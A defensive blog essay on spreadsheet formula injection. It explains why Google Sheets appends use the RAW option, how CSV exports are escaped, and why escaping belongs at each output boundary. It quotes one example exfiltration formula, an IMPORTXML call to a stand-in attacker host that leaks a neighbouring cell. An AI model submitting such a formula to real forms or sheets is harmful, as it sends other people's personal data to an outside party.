← Liana Grigory
Insights

A spreadsheet is an execution environment

A lead whose name is a formula is a formula. Appending with USER_ENTERED hands an attacker a function call that runs the moment a trusted person opens the sheet.

By Liana Grigory · 24 September 2026 · 9 min read

Two of my sites append rows to a Google Sheet. Leads from a contact form on one, contractor applications on the other. It is a deliberately boring integration: the sheet is a backup the owner can read without a login, and writing to it is four lines against the Sheets API.

One of those four lines is a security control, and it does not look like one. It is the valueInputOption.

The row that calls out

Suppose somebody submits a contact form and types this as their name:

=IMPORTXML("https://attacker.example/?d="&A1,"//x")

Appended with valueInputOption: 'USER_ENTERED', Sheets does exactly what it does when a human types into a cell: it sees a leading = and stores a formula. Not text that looks like a formula. A formula.

It then evaluates. IMPORTXML issues an HTTP request to a URL built by concatenating the attacker's domain with the contents of a neighbouring cell — which, in a leads sheet, is somebody else's email address or phone number. The request goes out from Google's infrastructure when the sheet recalculates, which is to say when the owner opens it.

Read that sequence again, because the shape of it is what matters. The attacker writes a function call into your storage through a public form. The function runs later, in a different system, triggered by a trusted person performing an entirely ordinary action, and it exfiltrates adjacent data to an address the attacker chose. There is no exploit, no memory corruption and no authentication bypass. The feature is working.

The family includes more than data retrieval. HYPERLINK renders a clickable link with text of the attacker's choosing, which is a serviceable phishing primitive aimed at the one person guaranteed to read the sheet.

Why output escaping does not help

The reflex when hearing "user input executes" is cross-site scripting, and the countermeasures for that are well rehearsed: escape on output, set textContent rather than innerHTML, let the framework do it, keep a content security policy as a backstop.

None of that touches this. The payload never reaches a browser DOM. It travels from the form handler to an API to a spreadsheet, and the interpreter that runs it is the spreadsheet's formula engine. A web application can be flawless about HTML escaping and still hand a live formula to Sheets, because HTML escaping is escaping for HTML and this is a different language with a different trigger character.

That is the generalisable point. Escaping is never a property of a value. It is a property of a boundary, and a value that has crossed one boundary safely has learned nothing about the next.

The control is one enum

Appending with valueInputOption: 'RAW' stores every cell as a literal string. A leading = is a character. Nothing is parsed, nothing is evaluated, and the cell shows the attacker's payload as the inert text it always should have been.

The cost is that Sheets also stops helpfully coercing your dates and numbers into typed cells, which is why USER_ENTERED is attractive and why someone will eventually change it back to make a column sort properly. Which is why the line carries a comment explaining what it prevents. A control that looks like a formatting preference will be "fixed" by the next person, and on this kind of defect the comment is a genuine part of the control rather than documentation of it.

Default to RAW at the boundary into the sheet, and format at display time, in the sheet, where the formatting belongs.

CSV has the same problem and no such switch

Any export that a spreadsheet will later open is the same class of bug. A CSV is plain text right up until somebody double-clicks it, at which point Excel, Numbers or Sheets becomes the interpreter and a cell beginning =, +, - or @ becomes a formula again.

There is no valueInputOption for a file you are generating. The conventional defence is to prefix any field starting with one of those four characters with an apostrophe or a tab so the spreadsheet treats it as text, and to quote fields properly so a comma or a newline in a name cannot restructure the row.

The failure here is usually one of ownership. The export is written by whoever needed a download, in a different part of the codebase from the form handler, months apart, and nobody thinks of a file as an injection surface because a file does not feel like it executes. It does — just not until later, on someone else's machine.

Why I do not sanitise on the way in

The tempting fix is to strip dangerous characters when the form is submitted. I think this is the wrong layer, for two reasons.

The first is that you do not know every consumer. Today the value goes to a database and a sheet. Next quarter it goes into an email template, a PDF, a CSV, a log line that somebody cats into a terminal that honours escape sequences. Sanitising at intake is an attempt to guess, once, at the union of every interpreter the value will ever meet, and it is guessed at the point of least information.

The second is that it corrupts legitimate data. Names begin with hyphens. Notes contain plus signs. Addresses contain the @ that matters most in the record. Mangling real input to defend a downstream system that could defend itself is a bad trade and it produces silent data quality bugs that are very hard to find later.

Validate at intake — type, length, format, allowed values, rejecting rather than repairing. Escape at each egress, for the specific language on the other side.

The sheet is also a database with no row-level security

One more thing that is easy to miss once the injection question is settled. The sheet now holds personal data, and it has none of the access control the application has. There are no per-row rules, no per-user scoping and no audit trail worth the name. Its security is entirely the sharing settings, which are one careless "anyone with the link" away from being public, and which no code review will ever look at.

So the same questions apply to it as to any other store: who can read it, does it hold fields it does not need, how long does it keep them, and what happens to a row when the person asks to be deleted. A spreadsheet is a convenient answer to "where should this go" precisely because it dodges all of those questions, and dodging them is not the same as answering them.

The shape underneath

Every system downstream of yours is an interpreter of something. A browser interprets HTML. A database interprets SQL. A shell interprets a command line. A spreadsheet interprets formulas. A terminal interprets escape sequences. A log aggregator interprets whatever structure it was told to expect.

Injection is what happens when a value crosses into one of those interpreters without being translated for it. There is no general escaping, no single sanitiser, and no such thing as a value that has been made safe in the abstract. There is only a list of boundaries, and a decision at each one.

Which means the work is not clever. It is enumerating where data leaves, and knowing what reads it on the other side. In my case the answer was a single enum in a function almost nobody looks at — and a comment underneath it explaining why it must not be changed.

Written by Liana Grigory, Entrepreneur and Software Engineer, from work on The Care Royal, Tegula Stone and Unified Savers. Everything above describes decisions actually made on those systems, including the ones that turned out to be wrong.

Home · Terms of Use · Privacy Notice